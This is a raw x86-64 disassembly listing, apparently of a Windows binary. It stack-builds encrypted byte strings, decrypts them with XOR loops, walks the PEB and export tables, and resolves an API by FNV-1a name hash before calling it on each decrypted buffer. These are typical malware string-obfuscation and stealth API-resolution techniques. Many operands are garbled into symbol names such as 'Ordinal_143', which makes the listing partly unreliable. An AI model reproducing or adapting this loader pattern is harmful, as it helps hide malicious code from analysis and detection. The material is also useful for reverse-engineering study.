mov byte [rbp + 0x89b], 0xbe
mov byte [rbp + 0x89c], 0xbe
mov byte [rbp + 0x89d], 0xbb
mov byte [rbp + 0x89e], 0xb8
mov byte [rbp + 0x89f], 0xbc
mov byte [rbp + 0x8a0], Ordinal_143
mov byte [rbp + 0x8a1], __WSAFDIsSet
mov byte [rbp + 0x8a2], 0xb4
mov byte [rbp + 0x8a3], 0xb1
mov byte [rbp + 0x8a4], 0x99
mov byte [rbp + 0x8a5], 0x83
mov byte [rbp + 0x8a6], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x8a7], 0xa0
mov byte [rbp + 0x8a8], 0x83
mov byte [rbp + Ordinal_1439], 0x8a
mov byte [rbp + 0x8aa], 0x86
mov byte [rbp + 0x8ab], 0x85
mov byte [rbp + 0x8ac], 0x84
mov byte [rbp + 0x8ad], 0x9b
mov byte [rbp + 0x8ae], 0xc9
mov byte [rbp + 0x8af], Ordinal_211
mov byte [rbp + 0x8b0], __WSAFDIsSet
mov byte [rbp + 0x8b1], Ordinal_200
mov byte [rbp + 0x8b2], 0xa8
mov byte [rbp + 0x8b3], 0x99
mov byte [rbp + 0x8b4], __WSAFDIsSet
mov byte [rbp + 0x8b5], Ordinal_143
mov byte [rbp + 0x8b6], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x8b7], 0x98
mov byte [rbp + 0x8b8], 0x86
mov byte [rbp + 0x8b9], 0xb9
mov byte [rbp + 0x8ba], __WSAFDIsSet
mov byte [rbp + 0x8bb], 0x86
mov byte [rbp + 0x8bc], __WSAFDIsSet
mov byte [rbp + 0x8bd], __WSAFDIsSet
mov byte [rbp + 0x8be], 0xb0
mov byte [rbp + 0x8bf], 0xb4
mov byte [rbp + 0x8c0], Ordinal_217
mov byte [rbp + 0x8c1], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x8c2], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x8c3], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x8c4], 0x59
mov byte [rbp + 0x8c5], Ordinal_79
mov byte [rbp + 0x8c6], Ordinal_79
mov byte [rbp + 0x8c7], 0x52
mov byte [rbp + 0x8c8], 0x51
mov byte [rbp + 0x8c9], 0x5e
mov byte [rbp + 0x8ca], Ordinal_45
mov byte [rbp + 0x8cb], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x8cc], 0x65
mov byte [rbp + 0x8cd], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x8ce], Ordinal_45
mov byte [rbp + 0x8cf], WSACleanup
mov byte [rbp + 0x8d0], 0x66
mov byte [rbp + 0x8d1], 0x68
mov byte [rbp + 0x8d2], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x8d3], 0x7e
mov byte [rbp + 0x8d4], 0x76
mov byte [rbp + 0x8d5], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x8d6], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x8d7], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x8d8], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x8d9], 0x7a
mov byte [rbp + 0x8da], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x8db], 0x7d
mov byte [rbp + 0x8dc], 0x7c
mov byte [rbp + 0x8dd], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x8de], gethostname
mov byte [rbp + 0x8df], gethostname
mov byte [rbp + 0x8e0], 0x65
mov byte [rbp + 0x8e1], 0x77
mov byte [rbp + 0x8e2], 0x75
mov byte [rbp + 0x8e3], 0x45
mov byte [rbp + 0x8e4], 0x44
mov byte [rbp + 0x8e5], 0x41
mov byte [rbp + 0x8e6], 9
mov byte [rbp + 0x8e7], sil
mov byte [rbp + 0x8e8], 7
mov byte [rbp + 0x8e9], 0x56
mov byte [rbp + 0x8ea], 0x46
mov byte [rbp + 0x8eb], Ordinal_79
mov byte [rbp + 0x8ec], 0x45
mov byte [rbp + 0x8ed], 0x46
mov byte [rbp + 0x8ee], 0x44
mov byte [rbp + 0x8ef], 5
mov byte [rbp + 0x8f0], 0xa
mov byte [rbp + 0x8f1], 3
mov byte [rbp + 0x8f2], 0x59
mov byte [rbp + 0x8f3], 0x50
mov byte [rbp + 0x8f4], 0x55
mov byte [rbp + 0x8f5], 0x58
mov byte [rbp + 0x8f6], 0x53
mov byte [rbp + 0x8f7], 0x50
mov byte [rbp + 0x8f8], reloc.WS2_32.dll_socket
mov byte [rbp + 0x8f9], Ordinal_26
mov byte [rbp + 0x8fa], reloc.WS2_32.dll_select
mov byte [rbp + 0x8fb], 0x40
mov byte [rbp + 0x8fc], 0x50
mov byte [rbp + 0x8fd], 0x57
mov byte [rbp + 0x8fe], 0x5d
mov byte [rbp + 0x8ff], 0x5f
mov byte [rbp + 0x900], 0x5a
mov byte [rbp + 0x901], reloc.WS2_32.dll_send
mov byte [rbp + 0x902], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x903], gethostname
mov byte [rbp + 0x904], Ordinal_45
mov byte [rbp + 0x905], Ordinal_35
mov byte [rbp + 0x906], Ordinal_45
mov byte [rbp + 0x907], Ordinal_35
mov byte [rbp + 0x908], Ordinal_50
movabs r11, 0x238a0279fea148ac
mov byte [rbp + 0x909], 0x61
mov r10, r11
mov byte [rbp + 0x90a], 0x67
mov r9, rsi
mov byte [rbp + 0x90b], WSASetLastError
mov byte [rbp + 0x90c], Ordinal_45
mov byte [rbp + 0x90d], WSAGetLastError
mov byte [rbp + 0x90e], 0x77
mov byte [rbp + 0x90f], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x910], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x911], Ordinal_45
mov byte [rbp + 0x912], WSASetLastError
mov byte [rbp + 0x913], 0x63
mov byte [rbp + 0x914], 0x65
mov byte [rbp + 0x915], 0x7a
mov byte [rbp + 0x916], WSASetLastError
mov byte [rbp + 0x917], 0x5d
movzx eax, byte [rbp + 0x86f]
lea rax, [rbp + 0x86f]
sub r10, rax
nop dword [rax]
mov rcx, r9
lea rdx, [rbp + 0x86f]
add rdx, r9
and ecx, r12d
cmp rcx, r12
mov rax, r11
cmovae rcx, r12
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, r12b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x86f], al
inc r9
cmp r9, 0xa9
jb 0x140047670
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140047747
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140047747
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140047742
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140047720
cmp r8d, 0x491e0a9c
je 0x14004774c
test r9d, r9d
jne 0x140047700
mov rax, qword [rax]
jmp 0x1400476d0
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
lea rcx, [rbp + 0x86f]
add rdx, r10
call rdx
mov byte [rbp + 0xd37], 0xf2
mov byte [rbp + 0xd38], 0xe8
mov byte [rbp + 0xd39], 0xe5
mov byte [rbp + 0xd3a], 0xa0
mov byte [rbp + 0xd3b], 0xec
mov byte [rbp + 0xd3c], 0xef
mov byte [rbp + 0xd3d], 0xe7
mov byte [rbp + 0xd3e], 0xa1
mov byte [rbp + 0xd3f], Ordinal_200
mov byte [rbp + 0xd40], Ordinal_200
mov byte [rbp + 0xd41], 0xc1
mov byte [rbp + 0xd42], Ordinal_211
mov byte [rbp + 0xd43], Ordinal_200
mov byte [rbp + 0xd44], 0xc1
mov byte [rbp + 0xd45], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xd46], Ordinal_211
mov byte [rbp + 0xd47], Ordinal_200
mov byte [rbp + 0xd48], 0xca
mov byte [rbp + 0xd49], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xd4a], Ordinal_200
mov byte [rbp + 0xd4b], Ordinal_217
mov byte [rbp + 0xd4c], Ordinal_200
mov byte [rbp + 0xd4d], 0xde
mov byte [rbp + 0xd4e], 0xf8
mov byte [rbp + 0xd4f], 0xff
mov byte [rbp + 0xd50], 0xea
mov byte [rbp + 0xd51], 0xf2
mov byte [rbp + 0xd52], 0xe0
mov byte [rbp + 0xd53], Ordinal_200
mov byte [rbp + 0xd54], Ordinal_200
mov byte [rbp + 0xd55], Ordinal_217
mov byte [rbp + 0xd56], 0xfb
mov byte [rbp + 0xd57], 0xf7
mov byte [rbp + 0xd58], Ordinal_200
mov byte [rbp + 0xd59], 0xcc
mov byte [rbp + 0xd5a], Ordinal_200
mov byte [rbp + 0xd5b], Ordinal_200
mov byte [rbp + 0xd5c], 0xdc
mov byte [rbp + 0xd5d], Ordinal_211
mov byte [rbp + 0xd5e], 0x83
mov byte [rbp + 0xd5f], Ordinal_143
mov byte [rbp + 0xd60], Ordinal_143
mov byte [rbp + 0xd61], 0xe3
mov byte [rbp + 0xd62], 0xf7
mov byte [rbp + 0xd63], 0xe7
mov byte [rbp + 0xd64], 0xf1
mov byte [rbp + 0xd65], 0xc9
mov byte [rbp + 0xd66], Ordinal_200
mov byte [rbp + 0xd67], Ordinal_200
mov byte [rbp + 0xd68], Ordinal_217
mov byte [rbp + 0xd69], 0xdc
mov byte [rbp + 0xd6a], Ordinal_200
mov byte [rbp + 0xd6b], 0xeb
mov byte [rbp + 0xd6c], 0xde
mov byte [rbp + 0xd6d], 0xc1
mov byte [rbp + 0xd6e], Ordinal_200
mov byte [rbp + 0xd6f], Ordinal_217
mov byte [rbp + Ordinal_2170], 0xd7
mov byte [rbp + 0xd71], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xd72], 0xef
mov byte [rbp + 0xd73], 0x9f
mov byte [rbp + 0xd74], 0xb0
mov byte [rbp + 0xd75], 0xad
mov byte [rbp + 0xd76], 0xa4
mov byte [rbp + 0xd77], 0xa9
mov byte [rbp + 0xd78], 0xa3
mov byte [rbp + 0xd79], 0xa5
mov byte [rbp + 0xd7a], 0x9c
mov byte [rbp + 0xd7b], 0x80
mov byte [rbp + 0xd7c], 0xa2
mov byte [rbp + 0xd7d], 0xa0
mov byte [rbp + 0xd7e], 0xb3
mov byte [rbp + 0xd7f], 0xa3
mov byte [rbp + 0xd80], 0xbb
mov byte [rbp + 0xd81], 0xa2
mov byte [rbp + 0xd82], 0xa5
mov byte [rbp + 0xd83], 0xaf
mov byte [rbp + 0xd84], Ordinal_143
mov byte [rbp + 0xd85], Ordinal_143
mov byte [rbp + 0xd86], 0xa5
mov byte [rbp + 0xd87], 0xbf
mov byte [rbp + 0xd88], 0xbb
mov byte [rbp + 0xd89], 0xbb
mov byte [rbp + 0xd8a], 0xbc
mov byte [rbp + 0xd8b], 0xb8
mov byte [rbp + 0xd8c], 0x87
mov byte [rbp + 0xd8d], 0x83
mov byte [rbp + 0xd8e], 0xa3
mov byte [rbp + 0xd8f], 0xb3
mov byte [rbp + 0xd90], 0xbe
mov byte [rbp + 0xd91], 0xb4
mov byte [rbp + 0xd92], 0xbf
mov byte [rbp + 0xd93], Ordinal_143
mov byte [rbp + 0xd94], Ordinal_200
mov byte [rbp + 0xd95], Ordinal_200
mov byte [rbp + 0xd96], __WSAFDIsSet
mov byte [rbp + 0xd97], 0xc0
mov byte [rbp + 0xd98], 0xaa
mov byte [rbp + 0xd99], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xd9a], Ordinal_143
mov byte [rbp + 0xd9b], Ordinal_143
mov byte [rbp + 0xd9c], 0xcb
mov byte [rbp + 0xd9d], 0xcc
mov byte [rbp + 0xd9e], __WSAFDIsSet
mov byte [rbp + 0xd9f], 0xcc
mov byte [rbp + 0xda0], 0xba
mov byte [rbp + 0xda1], 0xa8
mov byte [rbp + 0xda2], 0xa4
mov byte [rbp + 0xda3], 0xa4
mov byte [rbp + 0xda4], 0xa1
mov byte [rbp + 0xda5], 0xa6
mov byte [rbp + 0xda6], Ordinal_217
mov byte [rbp + 0xda7], 0xdf
mov byte [rbp + 0xda8], 0x99
mov byte [rbp + 0xda9], Ordinal_211
mov byte [rbp + 0xdaa], Ordinal_217
mov byte [rbp + 0xdab], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xdac], 0x9a
mov byte [rbp + 0xdad], 0x9d
mov byte [rbp + 0xdae], __WSAFDIsSet
mov byte [rbp + 0xdaf], __WSAFDIsSet
mov byte [rbp + 0xdb0], __WSAFDIsSet
mov byte [rbp + 0xdb1], Ordinal_217
mov byte [rbp + 0xdb2], Ordinal_217
mov byte [rbp + 0xdb3], 0x79
mov byte [rbp + 0xdb4], 0x63
mov byte [rbp + 0xdb5], 0x62
mov byte [rbp + 0xdb6], 0x63
mov byte [rbp + 0xdb7], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xdb8], 0x60
mov byte [rbp + 0xdb9], Ordinal_45
mov byte [rbp + 0xdba], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xdbb], Ordinal_45
mov byte [rbp + 0xdbc], 0x79
mov byte [rbp + 0xdbd], 0x62
mov byte [rbp + 0xdbe], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xdbf], 0x68
mov byte [rbp + 0xdc0], 0x67
mov byte [rbp + 0xdc1], 0x60
mov byte [rbp + 0xdc2], Ordinal_41
mov byte [rbp + 0xdc3], Ordinal_60
mov byte [rbp + 0xdc4], Ordinal_60
mov byte [rbp + 0xdc5], WSACleanup
mov byte [rbp + 0xdc6], 0x76
mov byte [rbp + 0xdc7], 0x7e
mov byte [rbp + 0xdc8], 0x79
mov byte [rbp + 0xdc9], 0x7d
mov byte [rbp + 0xdca], 0x7d
mov byte [rbp + 0xdcb], Ordinal_60
mov byte [rbp + 0xdcc], Ordinal_60
mov byte [rbp + 0xdcd], Ordinal_60
mov byte [rbp + 0xdce], 0x63
mov byte [rbp + 0xdcf], 0x7d
mov byte [rbp + 0xdd0], 0x76
movabs r11, 0x4e3bc350a9257484
mov byte [rbp + 0xdd1], 0x79
mov r10, r11
mov byte [rbp + 0xdd2], 0x7c
mov r9, rsi
mov byte [rbp + 0xdd3], 0x46
mov byte [rbp + 0xdd4], 7
mov byte [rbp + 0xdd5], 1
mov byte [rbp + 0xdd6], 2
mov byte [rbp + 0xdd7], 0x52
mov byte [rbp + 0xdd8], Ordinal_79
mov byte [rbp + 0xdd9], Ordinal_79
mov byte [rbp + 0xdda], 0x44
mov byte [rbp + 0xddb], 0x42
mov byte [rbp + 0xddc], 0x46
mov byte [rbp + 0xddd], 6
mov byte [rbp + 0xdde], 4
mov byte [rbp + 0xddf], 0x5e
mov byte [rbp + 0xde0], Ordinal_79
mov byte [rbp + 0xde1], 0x43
mov byte [rbp + 0xde2], 0x47
mov byte [rbp + 0xde3], 0x54
mov byte [rbp + 0xde4], 0x5f
mov byte [rbp + 0xde5], Ordinal_26
mov byte [rbp + 0xde6], reloc.WS2_32.dll_socket
mov byte [rbp + 0xde7], Ordinal_32
mov byte [rbp + 0xde8], 0x5b
mov byte [rbp + 0xde9], reloc.WS2_32.dll_select
mov byte [rbp + 0xdea], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0xdeb], 0x53
mov byte [rbp + 0xdec], Ordinal_79
mov byte [rbp + 0xded], 0x5f
mov byte [rbp + 0xdee], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xdef], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0xdf0], 6
mov byte [rbp + 0xdf1], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xdf2], 2
mov byte [rbp + 0xdf3], Ordinal_79
movzx eax, byte [rbp + 0xd37]
lea rax, [rbp + 0xd37]
sub r10, rax
nop dword [rax + rax]
mov rcx, r9
lea rdx, [rbp + 0xd37]
add rdx, r9
and ecx, r12d
cmp rcx, r12
mov rax, r11
cmovae rcx, r12
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, r12b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0xd37], al
inc r9
cmp r9, 0xbd
jb 0x140047cc0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140047d97
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140047d97
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140047d92
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140047d70
cmp r8d, 0x491e0a9c
je 0x140047d9c
test r9d, r9d
jne 0x140047d50
mov rax, qword [rax]
jmp 0x140047d20
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
lea rcx, [rbp + 0xd37]
add rdx, r10
call rdx
mov byte [rbp + 0x7c9], 0x42
mov byte [rbp + 0x7ca], 0x51
mov byte [rbp + 0x7cb], 0x52
mov byte [rbp + 0x7cc], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x7cd], 0x5b
mov byte [rbp + 0x7ce], 0x51
mov byte [rbp + 0x7cf], 0x5e
mov byte [rbp + 0x7d0], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x7d1], 0x7c
mov byte [rbp + 0x7d2], WSACleanup
mov byte [rbp + 0x7d3], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0x7d4], ntohl
mov byte [rbp + 0x7d5], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x7d6], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x7d7], 3
mov byte [rbp + 0x7d8], sil
mov byte [rbp + 0x7d9], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x7da], reloc.WS2_32.dll_send
mov byte [rbp + 0x7db], 4
mov byte [rbp + 0x7dc], Ordinal_26
mov byte [rbp + 0x7dd], r12b
mov byte [rbp + 0x7de], Ordinal_26
mov byte [rbp + 0x7df], 7
mov byte [rbp + 0x7e0], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x7e1], Ordinal_45
mov byte [rbp + 0x7e2], Ordinal_60
mov byte [rbp + 0x7e3], 0x3d
mov byte [rbp + 0x7e4], Ordinal_35
mov byte [rbp + 0x7e5], Ordinal_60
mov byte [rbp + 0x7e6], Ordinal_50
mov byte [rbp + 0x7e7], Ordinal_45
mov byte [rbp + 0x7e8], 0xa
mov byte [rbp + 0x7e9], 7
mov byte [rbp + 0x7ea], 0x3d
mov byte [rbp + 0x7eb], Ordinal_60
mov byte [rbp + 0x7ec], 0x3f
mov byte [rbp + 0x7ed], gethostname
mov byte [rbp + 0x7ee], Ordinal_35
mov byte [rbp + 0x7ef], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x7f0], 0x78
mov byte [rbp + 0x7f1], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x7f2], 0x78
mov byte [rbp + 0x7f3], Ordinal_45
mov byte [rbp + 0x7f4], gethostname
mov byte [rbp + 0x7f5], Ordinal_60
mov byte [rbp + 0x7f6], Ordinal_41
mov byte [rbp + 0x7f7], Ordinal_26
mov byte [rbp + 0x7f8], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x7f9], reloc.WS2_32.dll_select
mov byte [rbp + 0x7fa], 1
mov byte [rbp + 0x7fb], ntohl
mov byte [rbp + 0x7fc], Ordinal_32
mov byte [rbp + 0x7fd], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x7fe], sil
mov byte [rbp + 0x7ff], Ordinal_26
mov byte [rbp + 0x800], Ordinal_26
mov byte [rbp + 0x801], reloc.WS2_32.dll_listen
mov byte [rbp + 0x802], 5
mov byte [rbp + 0x803], Ordinal_32
mov byte [rbp + 0x804], 0x51
mov byte [rbp + 0x805], 0x58
mov byte [rbp + 0x806], sil
mov byte [rbp + 0x807], 0x5c
mov byte [rbp + 0x808], Ordinal_41
mov byte [rbp + 0x809], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x80a], reloc.WS2_32.dll_send
mov byte [rbp + 0x80b], Ordinal_32
mov byte [rbp + 0x80c], 8
mov byte [rbp + 0x80d], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0x80e], reloc.WS2_32.dll_recv
mov byte [rbp + 0x80f], 8
mov byte [rbp + 0x810], Ordinal_32
mov byte [rbp + 0x811], reloc.WS2_32.dll_recv
mov byte [rbp + 0x812], gethostname
mov byte [rbp + 0x813], 0xf5
mov byte [rbp + 0x814], 0xef
mov byte [rbp + 0x815], 0xe2
mov byte [rbp + 0x816], 0xf4
mov byte [rbp + 0x817], 0xac
mov byte [rbp + 0x818], 0xa9
mov byte [rbp + 0x819], 0xf4
mov byte [rbp + 0x81a], 0xa4
mov byte [rbp + 0x81b], Ordinal_217
mov byte [rbp + 0x81c], Ordinal_211
mov byte [rbp + 0x81d], Ordinal_211
mov byte [rbp + 0x81e], 0xda
mov byte [rbp + 0x81f], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x820], Ordinal_211
mov byte [rbp + 0x821], 0xa4
mov byte [rbp + 0x822], 0xa5
mov byte [rbp + 0x823], 0xf6
mov byte [rbp + 0x824], 0xb1
mov byte [rbp + 0x825], 0xb2
mov byte [rbp + 0x826], 0xe4
mov byte [rbp + 0x827], 0xfd
mov byte [rbp + 0x828], 0xf8
mov byte [rbp + 0x829], 0xf4
mov byte [rbp + 0x82a], 0xfb
mov byte [rbp + 0x82b], 0xf8
mov byte [rbp + 0x82c], 0xbe
mov byte [rbp + 0x82d], 0xbf
mov byte [rbp + 0x82e], 0xe7
mov byte [rbp + 0x82f], 0xfb
mov byte [rbp + 0x830], 0xf4
mov byte [rbp + 0x831], 0xf0
mov byte [rbp + 0x832], 0xf5
mov byte [rbp + 0x833], Ordinal_211
mov byte [rbp + 0x834], 0x84
mov byte [rbp + 0x835], Ordinal_143
mov byte [rbp + 0x836], 0x83
mov byte [rbp + 0x837], 0xde
mov byte [rbp + 0x838], Ordinal_200
mov byte [rbp + 0x839], Ordinal_211
mov byte [rbp + 0x83a], 0xc0
mov byte [rbp + 0x83b], 0xca
mov byte [rbp + 0x83c], Ordinal_200
mov byte [rbp + 0x83d], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x83e], 0x88
mov byte [rbp + 0x83f], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x840], Ordinal_217
mov byte [rbp + 0x841], Ordinal_200
mov byte [rbp + 0x842], Ordinal_200
mov byte [rbp + 0x843], Ordinal_217
mov byte [rbp + 0x844], 0xde
mov byte [rbp + 0x845], 0xda
mov byte [rbp + 0x846], __WSAFDIsSet
mov byte [rbp + 0x847], __WSAFDIsSet
mov byte [rbp + 0x848], __WSAFDIsSet
mov byte [rbp + 0x849], Ordinal_200
mov byte [rbp + 0x84a], Ordinal_217
mov byte [rbp + 0x84b], 0xdb
mov byte [rbp + 0x84c], 0xdf
mov byte [rbp + 0x84d], Ordinal_217
mov byte [rbp + 0x84e], Ordinal_217
mov byte [rbp + 0x84f], 0x9f
mov byte [rbp + 0x850], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x851], __WSAFDIsSet
mov byte [rbp + 0x852], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x853], 0xa3
mov byte [rbp + 0x854], 0xaf
mov byte [rbp + 0x855], 0xa3
mov byte [rbp + 0x856], 0xa9
mov byte [rbp + 0x857], 0xa1
mov byte [rbp + 0x858], 0xe3
mov byte [rbp + 0x859], 0xe5
mov byte [rbp + 0x85a], 0xb6
mov byte [rbp + 0x85b], 0xa4
mov byte [rbp + 0x85c], 0xa5
mov byte [rbp + 0x85d], 0xae
mov byte [rbp + 0x85e], 0xaa
mov byte [rbp + 0x85f], 0xa7
mov byte [rbp + 0x860], 0xef
mov byte [rbp + 0x861], 0xe4
mov byte [rbp + 0x862], 0xe5
movabs r11, 0x3855025a76e02d36
mov byte [rbp + 0x863], 0xb4
mov r10, r11
mov byte [rbp + 0x864], 0xf1
mov r9, rsi
mov byte [rbp + 0x865], 0xe9
mov byte [rbp + 0x866], 0xb8
mov byte [rbp + 0x867], 0xa9
mov byte [rbp + 0x868], 0xba
mov byte [rbp + 0x869], 0xf0
mov byte [rbp + 0x86a], 0xe6
mov byte [rbp + 0x86b], 0xeb
mov byte [rbp + 0x86c], 0xfd
mov byte [rbp + 0x86d], 0xeb
mov byte [rbp + 0x86e], Ordinal_217
movzx eax, byte [rbp + 0x7c9]
lea rax, [rbp + 0x7c9]
sub r10, rax
nop word [rax + rax]
mov rcx, r9
lea rdx, [rbp + 0x7c9]
add rdx, r9
and ecx, r12d
cmp rcx, r12
mov rax, r11
cmovae rcx, r12
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, r12b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x7c9], al
inc r9
cmp r9, 0xa6
jb 0x140048270
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140048347
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140048347
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140048342
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140048320
cmp r8d, 0x491e0a9c
je 0x14004834c
test r9d, r9d
jne 0x140048300
mov rax, qword [rax]
jmp 0x1400482d0
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
lea rcx, [rbp + 0x7c9]
add rdx, r10
call rdx
mov byte [rbp + 0xa6f], reloc.WS2_32.dll_select
mov byte [rbp + 0xa70], 6
mov byte [rbp + 0xa71], 4
mov byte [rbp + 0xa72], 0x45
mov byte [rbp + 0xa73], ntohl
mov byte [rbp + 0xa74], 8
mov byte [rbp + 0xa75], ntohl
mov byte [rbp + 0xa76], 0x43
mov byte [rbp + 0xa77], Ordinal_45
mov byte [rbp + 0xa78], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xa79], Ordinal_45
mov byte [rbp + 0xa7a], Ordinal_41
mov byte [rbp + 0xa7b], Ordinal_41
mov byte [rbp + 0xa7c], Ordinal_50
mov byte [rbp + 0xa7d], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0xa7e], Ordinal_60
mov byte [rbp + 0xa7f], Ordinal_41
mov byte [rbp + 0xa80], Ordinal_41
mov byte [rbp + 0xa81], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0xa82], Ordinal_45
mov byte [rbp + 0xa83], Ordinal_60
mov byte [rbp + 0xa84], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0xa85], gethostname
mov byte [rbp + 0xa86], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0xa87], reloc.WS2_32.dll_recv
mov byte [rbp + 0xa88], 8
mov byte [rbp + 0xa89], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xa8a], 8
mov byte [rbp + 0xa8b], 0xe6
mov byte [rbp + 0xa8c], 0xea
mov byte [rbp + 0xa8d], 0xf9
mov byte [rbp + 0xa8e], 0xdd
mov byte [rbp + 0xa8f], Ordinal_217
mov byte [rbp + 0xa90], 0xea
mov byte [rbp + 0xa91], 0xed
mov byte [rbp + 0xa92], 0xe1
mov byte [rbp + 0xa93], 0xe2
mov byte [rbp + 0xa94], 0xfb
mov byte [rbp + 0xa95], 0xfb
mov byte [rbp + 0xa96], 0xa1
mov byte [rbp + 0xa97], 0xa3
mov byte [rbp + 0xa98], 0xa8
mov byte [rbp + 0xa99], 0xca
mov byte [rbp + 0xa9a], 0xdf
mov byte [rbp + 0xa9b], Ordinal_200
mov byte [rbp + 0xa9c], 0xdf
mov byte [rbp + 0xa9d], 0xe8
mov byte [rbp + 0xa9e], 0xe3
mov byte [rbp + 0xa9f], 0xe2
